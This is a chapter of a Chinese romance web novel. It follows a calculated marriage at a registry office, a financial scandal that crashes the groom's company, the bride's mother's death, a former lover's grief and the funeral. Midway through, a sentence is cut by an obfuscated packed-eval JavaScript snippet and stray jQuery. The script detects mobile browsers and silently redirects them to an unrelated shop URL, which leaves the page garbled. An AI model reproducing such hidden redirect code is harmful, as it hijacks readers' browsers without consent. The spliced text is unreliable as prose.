29. Cor Caroli
作品:《数钱的星星Staring Deeply into Yield》 四月二十六日,星期三。
农历三月初七。
宜:结婚、出行、打扫、搬家、签订合同、交易。
民政局婚姻登记处的宣誓厅里,那面巨大的、俗艳的红色背景墙,像一块烧红的烙铁,将空气都烫得有些扭曲。
殷灿言站在红墙前,有些不适地、动了动僵硬的肩膀。
她身上穿着一件高定系列的白色连衣裙,是梁景轩的助理刚刚送来的。
昂贵的真丝面料,熨帖得没有一丝褶皱,完美地勾勒出她清瘦的肩线和脆弱的蝴蝶骨。那精心设计的、缀着法式蕾丝的企领,正一点一点地,勒紧她的脖颈,让她有些喘不过气。
身旁的男人,梁景轩,似乎察觉到了她的僵硬。
他伸出手,没有去碰她,只是用指尖,极轻地、仿佛在触碰一件易碎的瓷器般,点了点她戴着腕表的手腕。
「别动。」他的声音,一如既往地低沉、平淡,「看镜头。」
殷灿言便真的不动了。
她抬起眼,望向摄影师那黑洞洞的镜头,努力地,调动着面部的每一块肌肉,牵起一抹最标准的、符合「新娘」身份的、得体的微笑。
闪光灯亮起。
「咔嚓」一声,将这一刻,定格成永恒。
走出民政局的大门,午后的阳光,有些刺眼。
助理早已等在车旁,见他们出来,立刻拉开了后座的车门,并恭敬地,将两本崭新的、还带着油墨香气的红本,递了上来。
梁景轩随意地接过,翻开,看了一眼那张刚刚拍下的、完美的「合影」,嘴角勾起一抹几不可察的、属于「交易完成」的满意弧度。
然后,他便将那两本象征着「神圣契约」的红本,随手,扔在了车内的中控台上,仿佛那不是婚姻的证明,只是一份刚签完的、无关紧要的文件。
车门关上,隔绝了外界所有的声音。
殷灿言靠在冰冷的车窗上,看着窗外飞速倒退的街景,有些失神。
她想起了,拉斯维加斯的那一天。
没有红墙,没有闪光灯,只有一个喝得半醉的神父。
也没有红本,只有一张薄薄的、随时可能被风吹走的纸。
甚至,戒指都在第二年姗姗来迟。
「后悔了?」
身旁,梁景轩的声音,突然响起。
殷灿言回过神,她转过头,看着他那双正在审视着她的、深不见底的眼睛。
她摇了摇头,轻声说:「没有。」
梁景轩似乎也察觉到了气氛的压抑。他伸出手,打开了车载收音机。
他随手调到了一个常听的财经频道。
「……所以,我的结论很简单!」一个打了鸡血般的、极其熟悉的声音,从音响里,猛地炸了出来,「所谓的ESG,在目前的中国市场,根本就是一个彻头彻尾的金融骗局!」
梁景轩的眉头,瞬间拧了起来。
「……它就是一块遮羞布!让那些本来就已经烂到根子里的企业,可以再打着『绿色』『环保』的旗号,去市场上,圈最后一波钱!什么『碳中和』?我看是『钱中和』吧!」
「好的,谢谢林教授的精彩点评。」一个冷静的、带着一丝沙哑笑意的、同样熟悉的女声,接过了话头,「林教授的观点,一如既往地犀利。不过呢,光有观点还不够,我们做新闻的,更看重证据。」
是蒋一平。
梁景轩的身体,有那么一瞬间的僵硬。
「就在我们节目开始前一个小时……」蒋一平的声音,不紧不慢,「我们栏目组,收到了一份匿名的内部爆料。」
「这份爆料,信息量超级大!它详细地、指出了目前国内某家龙头房企,是如何,通过旗下的物业公司和新能源汽车子公司,进行一系列复杂的『关联方交易』,来虚增其ESG报告中的『绿色收入』,从而,掩盖其主营业务上,那个巨大的现金流黑洞的。」
「物业公司」、「新能源汽车」、「关联方交易」、「虚增收入」……
每一个词,都像一颗精准的子弹,狠狠地,射进了这辆密不透风的宾利车里。
他猛地伸出手,就要去关掉那个该死的电台。
但殷灿言,却伸出手,按住了他的手。
她的动作,很轻,但带着一种不容抗拒的力量。
「别关。」她说,声音平静得可怕,「听下去。」
电台里,蒋一平的声音,还在继续。
「……更有趣的是……」她的声音里,带上了一丝「发现新大陆」般的兴奋,「我们的数据分析师发现,这家房企旗下物业公司的很多大额预付款,最终,都流向了几家注册在开曼群岛的、名不见经传的咨询公司。而其中一家,代号为Alula的……」
「——够了!」
梁景轩终于爆发了。他一把打开殷灿言的手,狠狠地,砸在了「关机」键上。
整个世界,瞬间,又恢复了死寂。
但他手机的震动,却像催命符一样,疯狂地响了起来。
屏幕上,他助理的名字,在疯狂地闪烁。
他接起电话,按下了免提。
「梁总!出事了!」助理的声音,充满了世界末日般的惊恐,「就在刚才,《财新》那篇报道出来之后,我们……我们遭到了大规模的、恶意的、集中的做空!」
「港股的股价,五分钟之内,闪崩了15%!欧洲银行那边,刚刚发来紧急邮件,宣布立刻、单方面,终止我们所有的授信谈判!」
「还有……还有……」助理的声音,在颤抖,「……证监会的人,刚刚打电话过来。说……说要对我们,进行立案调查!」
电话挂断了。
梁景轩却还保持着那个接完电话的姿态,一动不动,甚至,忘记了去关掉那个刺耳的免提。
殷灿言没有说话。
她只是侧过头,看着窗外。街边的巨型LED屏幕上,原本循环播放的奢侈品广告,被一条紧急插播的「财经午间快讯」所取代。
屏幕上,出现了一张她无比熟悉的、美艳的脸。
是叶明熙。
她穿着一身得体的Dior白色高定套装,坐在演播室里,接受着主持人的采访。
「……叶小姐。」主持人问,「对于今天上午,恒景集团股价的突然闪崩,以及您……前男友梁景轩先生,被证监会立案调查这件事,您有什么看法?」
梁景轩的身体,在那一刻,微不可察地,颤抖了一下。
屏幕上,叶明熙对着镜头,露出了一个无懈可击的微笑。
「看法?」她轻轻摇了摇头,「我没有什么看法。感情的事,过去了,就过去了。我只希望,梁先生他……能顺利渡过这次难关。」
她顿了顿,端起手边的水杯,轻轻抿了一口。
然后,她对着镜头,露出了一个充满了庆幸的微笑。
「其实,我今天,更想感谢他。」
「哦?」主持人立刻追问,「感谢什么?」
「感谢他……」叶明熙看着镜头,一字一句地,清晰说道,「当年的不娶之恩。」
「咳——咳咳——」
梁景轩剧烈地咳嗽了起来,他刚刚喝下去的、那口还没来得及下咽的、冰冷的矿泉水,呛进了他的气管。他弓着背,像要把自己的肺都咳出来。
而屏幕上,叶明熙的「表演」,还在继续。
「我曾经以为,嫁入豪门,是女孩子最好的归宿。」她的声音平稳,「但现在我才明白,一个女人,真正的安全感,从来不是来自于一个男人能给你多少钱,而是来自于……你自己,能创造多少价值。」
她对着镜头,自信地、优雅地,亮出了自己手腕上那块,由她自己的工作室,投资出品的、最新款的智能腕表。
「所以,我很庆幸。如果当年,我真的嫁给了他,或许,我现在,也只是那艘正在沉没的巨轮上,一个抱着爱马仕包,不知所措的、无助的乘客而已。」
「而现在……」她笑了,那笑容,在巨大的LED屏幕上,显得格外耀眼,「我是我自己的救生艇。」
当天下午,医院的VIP病房。
殷灿言将那本红色的结婚证,轻轻地,放在了母亲王琴的手边。
王琴已经从昏迷中,短暂地,清醒了过来。
她的身体,瘦得只剩下一把骨头,但她的眼睛,在看到那抹红色以及那红底照片的瞬间,却爆发出了前所未有的、明亮的光彩。
她颤抖着,用尽全身的力气,伸出手,抚摸着那本结婚证的封面,像在抚摸一件稀世珍宝。
「……好……好……」她的喉咙里,发出含混不清的、气音般的声音,脸上,却露出了一个心满意足的、甚至可以说是「幸福」的微笑。
她看着女儿,那双浑浊的眼睛里,第一次,没有了「算计」和「期盼」。
只有,纯粹的「满足」。
然后,她缓缓地,闭上了眼。
心电监护仪上,那条一直脆弱起伏的绿色曲线,在发出最后一声尖锐的、刺耳的蜂鸣之后,变成了一条冰冷的、永恒的直线。
消息,像一场病毒,在那个沉闷的午后,迅速地,席卷了整个金融圈和社交网络。
各大财经App的推送标题,惊人地一致:
「恒景太子爷大婚!新娘竟是天才精算师殷灿言!」
新闻配图,是民政局系统里流出的那张、红底的、充满了「法律效力」的结婚照。
梁公馆内。
景佩仪正坐在她那间古色古香的茶室里,品着一壶新到的武夷山大红袍。当助理将这条新闻推送到她面前时,她脸上的笑容,凝固了。
随即,她将手中那只价值六位数的、明代成化年的斗彩鸡缸杯,狠狠地,摔在了地上。
而远在南京的「搜神计划」基地里。
乔珩正站在巨大的数据瀑布屏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806945|189948||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
幕前,与同事们讨论着「玄戈号」下一次轨道修正的参数。
直到,他的手机,在口袋里,疯狂地、被各种来自全球各地旧同学们的「八卦」信息,震动得发烫。
「不是吧?不是吧?磕了近十年的CP居然BE了?」
「只要我不用社会主义6G,我的CP就是在拉斯维加斯收获了happyending!」
「……是只有我刚知道她当年没接Pton的offer吗?」
他终于,点开了那条新闻。
他看着那张红底的照片,看着她脸上那抹标准的、他从未见过的「新娘」微笑,看着她身边那个,将她牢牢圈在自己气场内的男人。
他没有表情。
周围同事们的讨论声、键盘的敲击声、服务器的嗡鸣声……所有的一切,都像潮水般,迅速退去。
整个世界,都安静了。
很久之后,他默默地,放下了手中的记录板,脱下白大褂,对身旁的同事,说了一句:「我出去一下。」
他独自一人驱着加装过车顶行李架和全地形轮胎的Jeep牧马人,在高速公路上,漫无目的地,开了很久。
最终,停在了那个殷灿言曾经寄存过「光谱图」的失恋博物馆门口。
「我想……为那件展品,补充一段说明。」
馆长将他和那张卡片,独自留在了那个安静的、充满了「哀悼」气息的展厅里。
他站在那幅光谱图前。那上面,记录着一颗来自26光年外的、属于她的星星的「指纹」。
他从胸前的口袋里,拿出了那支属于她的、他一直贴身收藏着的、万宝龙星际行者的钢笔。
他拔开笔帽,在卡片上,缓缓地,写下了一段英文。
字迹,清瘦、克制,却又带着一种无法被掩饰的、几乎要将纸张划破的颤抖。
「Shesaid,IwastheSternenwandererandtheHerrSchwarzerSchwanshecouldnevertrulygrasp.」
(她曾说,我曾是星际漫游者,也是她永远无法真正抓住的黑天鹅先生。)
「If...everylifebornonEarthisstardustseparatedfromtheBigBang...」
(如果……每一条在地球诞生的生命,都是宇宙大爆炸中离析的星尘……)
他写到这里,停了下来。
一滴冰冷的、不知从何而来的液体,砸在了卡片上,晕开了一小团墨迹。
他抬起手,才发现,自己,不知何时,已经泪流满面。
他胡乱地,用手背抹去眼泪,然后,写下了最后一句。
「Yeah…thankyoufoingintomylightcone.」
(谢谢你,来到我的光锥里。)
写完,他将笔帽,轻轻地,盖上。
「咔哒」一声,像一颗星星,在宇宙大爆炸中,彻底的,湮灭。
王琴的葬礼,简单而肃穆。
在最后的告别仪式上,殷灿言独自一人,走到了那个由黑檀木制成的、冰冷的骨灰盒前。
梁景轩、邬思乔,以及其他所有亲友,都站在她的身后,沉默地,看着她。
她从手包里,拿出了打包好的三样东西。
第一样,是母亲生前最爱的那支、Dior999的正红色口红。
第二样,是她与梁景轩的那本、还带着新鲜油墨气息的、红色的结婚证。
第三样,则是一张被她从钱包夹层深处取出的、已经有些泛黄的、与乔珩的那份拉斯维加斯结婚证书的红纸复印件。
在梁景轩和所有亲友震惊的、不可思议的目光中,她将装着这三样同样是「红色」的、代表着不同意义的物品的红色礼盒,轻轻地,放入了骨灰盒中,放在了母亲的骨灰之上。
「妈妈……」她俯下身,对着那冰冷的盒子,用只有自己能听到的声音,轻声说,「你一生想要的,不过是这抹红色。现在,我把它给你。」
「而我一生想要的另一抹红色,也在这里,一起,陪着你。」
「从今往后,我再无亏欠。」
做完这一切,她直起身。
脸上,再也没有了一丝一毫的悲伤或脆弱。
只剩下一种……绝对的、冰冷的、令人不寒而栗的「自由」。
回到车里,她没有理会梁景轩那充满了「困惑」与「探究」的目光。
她只是从手包里,拿出了那张,一直被她珍藏着的、日期就在今天的,来自北京的研讨会入场券。
她缓缓地,将入场券,翻了过来。
背面,用一种充满了「秩序感」的、钢笔手写的笔迹,写着一行小字:
「关于『合法性』的问题,我很好奇,你的答案是什么。——顾。」

